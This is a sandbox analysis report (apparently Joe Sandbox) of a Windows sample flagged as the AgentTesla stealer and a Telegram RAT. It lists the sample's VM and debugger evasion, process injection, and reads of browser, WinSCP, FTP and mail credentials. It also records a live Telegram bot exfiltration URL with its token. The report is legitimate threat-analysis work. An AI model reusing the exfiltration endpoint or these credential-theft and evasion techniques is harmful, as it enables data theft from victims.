Source: C:\Users\user\Desktop\xnlP06YunJ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 598797	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 598455	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 598328	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 598197	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 598094	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 597984	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 597868	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 597747	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 597639	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 597530	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 597412	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 597281	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 597172	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 597047	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 596719	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 596594	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 596375	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 596265	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 596046	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 595937	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 595719	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 595500	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 595375	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 595226	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 595057	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 594873	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 594764	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 594651	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 594547	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 594436	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 594328	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 594219	Jump to behavior

Source: xnlP06YunJ.exe, 00000000.00000002.1141980710.00000000033A1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: xnlP06YunJ.exe, 00000000.00000002.1141980710.00000000033A1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q 1:en-CH:Microsoft\|VMWare\|Virtual
Source: xnlP06YunJ.exe, 00000004.00000002.2107022086.0000000000C16000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllr
Source: xnlP06YunJ.exe, 00000000.00000002.1141980710.00000000033A1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen
Source: xnlP06YunJ.exe, 00000000.00000002.1141980710.00000000033A1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q 1:en-CH:VMware\|VIRTUAL\|A M I\|Xen
Source: xnlP06YunJ.exe, 00000000.00000002.1141980710.00000000033A1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual

Source: C:\Users\user\Desktop\xnlP06YunJ.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\xnlP06YunJ.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\xnlP06YunJ.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\xnlP06YunJ.exe

Memory written: C:\Users\user\Desktop\xnlP06YunJ.exe base: 900000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process created: C:\Users\user\Desktop\xnlP06YunJ.exe "C:\Users\user\Desktop\xnlP06YunJ.exe"	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew	Jump to behavior

Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Queries volume information: C:\Users\user\Desktop\xnlP06YunJ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Queries volume information: C:\Users\user\Desktop\xnlP06YunJ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\xnlP06YunJ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 00000004.00000002.2109400212.00000000028C7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2109400212.00000000028BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2109400212.0000000002887000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2109400212.0000000002831000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xnlP06YunJ.exe PID: 524, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000004.00000002.2109400212.00000000028C7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2109400212.0000000002831000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xnlP06YunJ.exe PID: 524, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\xnlP06YunJ.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\xnlP06YunJ.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\xnlP06YunJ.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\xnlP06YunJ.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 00000004.00000002.2109400212.0000000002887000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2109400212.0000000002831000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xnlP06YunJ.exe PID: 524, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 00000004.00000002.2109400212.00000000028C7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2109400212.00000000028BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2109400212.0000000002887000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2109400212.0000000002831000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xnlP06YunJ.exe PID: 524, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000004.00000002.2109400212.00000000028C7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2109400212.0000000002831000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xnlP06YunJ.exe PID: 524, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	131 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	111 Process Injection	1 Deobfuscate/Decode Files or Information	1 Credentials in Registry	34 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	231 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	22 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	161 Virtualization/Sandbox Evasion	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	161 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	111 Process Injection	DCSync	11 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
xnlP06YunJ.exe	72%	Virustotal		Browse
xnlP06YunJ.exe	61%	ReversingLabs	Win32.Trojan.Leonem

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org	104.26.13.205	true	false		high
api.telegram.org	149.154.167.220	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high
https://api.telegram.org/bot7351654760:AAFbpZoZSrKZKoCJV2by7hbyBL3xnGEoUrU/sendDocument	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://api.telegram.org/bot7351654760:AAFbpZoZSrKZKoCJV2by7hbyBL3xnGEoUrU/	xnlP06YunJ.exe, 00000004.00000002.2109400212.0000000002831000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.ipify.org	xnlP06YunJ.exe, 00000004.00000002.2109400212.0000000002831000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/mgravell/protobuf-neti	xnlP06YunJ.exe, 00000000.00000002.1159805229.0000000006620000.00000004.08000000.00040000.00000000.sdmp	false	high
https://stackoverflow.com/q/14436606/23354	xnlP06YunJ.exe, 00000000.00000002.1141980710.00000000033A1000.00000004.00000800.00020000.00000000.sdmp, xnlP06YunJ.exe, 00000000.00000002.1159805229.0000000006620000.00000004.08000000.00040000.00000000.sdmp	false	high
https://account.dyn.com/	xnlP06YunJ.exe, 00000004.00000002.2109400212.0000000002831000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org	xnlP06YunJ.exe, 00000004.00000002.2109400212.00000000028C3000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/mgravell/protobuf-netJ	xnlP06YunJ.exe, 00000000.00000002.1153257947.00000000043A1000.00000004.00000800.00020000.00000000.sdmp, xnlP06YunJ.exe, 00000000.00000002.1159805229.0000000006620000.00000004.08000000.00040000.00000000.sdmp	false	high
https://stackoverflow.com/q/11564914/23354;	xnlP06YunJ.exe, 00000000.00000002.1159805229.0000000006620000.00000004.08000000.00040000.00000000.sdmp	false	high
https://stackoverflow.com/q/2152978/23354	xnlP06YunJ.exe, 00000000.00000002.1159805229.0000000006620000.00000004.08000000.00040000.00000000.sdmp	false	high
https://github.com/StefH/System.Linq.Dynamic.Core/issues/358	xnlP06YunJ.exe	false	high
https://github.com/mgravell/protobuf-net	xnlP06YunJ.exe, 00000000.00000002.1159805229.0000000006620000.00000004.08000000.00040000.00000000.sdmp	false	high
https://github.com/mono/linker#link-xml-file-examples	xnlP06YunJ.exe	false	high
https://api.ipify.org/t	xnlP06YunJ.exe, 00000004.00000002.2109400212.0000000002831000.00000004.00000800.00020000.00000000.sdmp	false	high
http://api.telegram.org	xnlP06YunJ.exe, 00000004.00000002.2109400212.00000000028C3000.00000004.00000800.00020000.00000000.sdmp, xnlP06YunJ.exe, 00000004.00000002.2109400212.00000000028C7000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	xnlP06YunJ.exe, 00000000.00000002.1141980710.00000000033A1000.00000004.00000800.00020000.00000000.sdmp, xnlP06YunJ.exe, 00000004.00000002.2109400212.0000000002831000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/mono/mono/issues/12917	xnlP06YunJ.exe	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom		62041	TELEGRAMRU	false
104.26.13.205	api.ipify.org	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1632360
Start date and time:	2025-03-07 22:49:41 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	xnlP06YunJ.exe renamed because original name is a hash value
Original Sample Name:	3301c867bfc564fad83be393a67e00cf4615b436940db9ed0728b3d4a523e040.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@13/0@2/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 93% Number of executed functions: 177 Number of non-executed functions: 12
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, sppsvc.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.16.185.191
Excluded domains from analysis (whitelisted): fs.microsoft.com, e16604.f.akamaiedge.net, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, c.pki.goog
Execution Graph export aborted for target xnlP06YunJ.exe, PID 524 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:51:05	API Interceptor	761642x Sleep call for process: xnlP06YunJ.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	cqWZtEH4eJ.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	axN56TZ3PI.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	bvhauD4o49.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	0CBJ3aLKx0.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	CWu89IbJQw.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	DayVXJx1km.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	NDCNDvC27F.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	3c638k0NJx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	drRbNknjyb.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	3GrfjMY0pG.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
104.26.13.205	get_txt.ps1	Get hash	malicious	LummaC Stealer	Browse	api.ipify.org/
	XkgoE6Yb52.ps1	Get hash	malicious	Unknown	Browse	api.ipify.org/
	R1TftmQpuQ.bat	Get hash	malicious	Targeted Ransomware	Browse	api.ipify.org/
	SpacesVoid Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	Yoranis Setup.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	BiXS3FRoLe.exe	Get hash	malicious	TrojanRansom	Browse	api.ipify.org/
	lEUy79aLAW.exe	Get hash	malicious	TrojanRansom	Browse	api.ipify.org/
	Simple1.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	2b7cu0KwZl.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	kbdXtadZsM.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	NBdxPYAgZf.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	tmezkNPazz.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.12.205
	Launcher.exe	Get hash	malicious	Growtopia, Phoenix Stealer	Browse	104.26.13.205
	Launcher.exe	Get hash	malicious	Growtopia	Browse	104.26.13.205
	Launcher.exe	Get hash	malicious	Growtopia, Phoenix Stealer	Browse	104.26.12.205
	5aQpYG37db.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	fls3eql72b.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	yM5WEfAX4h.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	SecuriteInfo.com.Win64.Malware-gen.32406.15459.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
api.telegram.org	cqWZtEH4eJ.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	axN56TZ3PI.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	bvhauD4o49.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	0CBJ3aLKx0.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	CWu89IbJQw.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	DayVXJx1km.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	NDCNDvC27F.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	3c638k0NJx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	drRbNknjyb.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	3GrfjMY0pG.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	cqWZtEH4eJ.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	axN56TZ3PI.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	bvhauD4o49.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	0CBJ3aLKx0.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	CWu89IbJQw.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	DayVXJx1km.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	NDCNDvC27F.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	3c638k0NJx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	KMSpico.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.99
	drRbNknjyb.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	jki-dragon-release-online-setup.exe	Get hash	malicious	Unknown	Browse	104.17.118.104
	1258ad6Jpw.exe	Get hash	malicious	GuLoader	Browse	104.21.16.1
	kbdXtadZsM.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	NBdxPYAgZf.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	iFoDComHqT.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.112.1
	yXsTZ347KJ.exe	Get hash	malicious	Unknown	Browse	162.159.130.233
	https://www.dottedsign.com/task?code=eyJhbGciOiJIUzUxMiJ9.eyJ0YXNrX2lkIjozNDU1ODM1LCJmaWxlX2lkIjoyMjU3NDQ4Mywic2lnbl9maWxlX2lkIjoyMzE3NTY1OCwic3RhZ2VfaWQiOjQ3MjQ2MTcsImVtYWlsIjoidmZhcmlhc0B3ZXN0bGFrZS5jb20iLCJleHBpcmVkX2F0IjoxNzQxNTUzNDgzfQ.HzZLgMMxAZSV_iVgO--XdcSNVOvVCdiCg8S3aUWMChplsdtgyqOWKyJi3vwVbeBh99sm9EHWsNwj41IZdYNjWA	Get hash	malicious	Unknown	Browse	172.65.198.159
	cqWZtEH4eJ.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.16.1
	g1V10ssekg.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	axN56TZ3PI.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.64.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
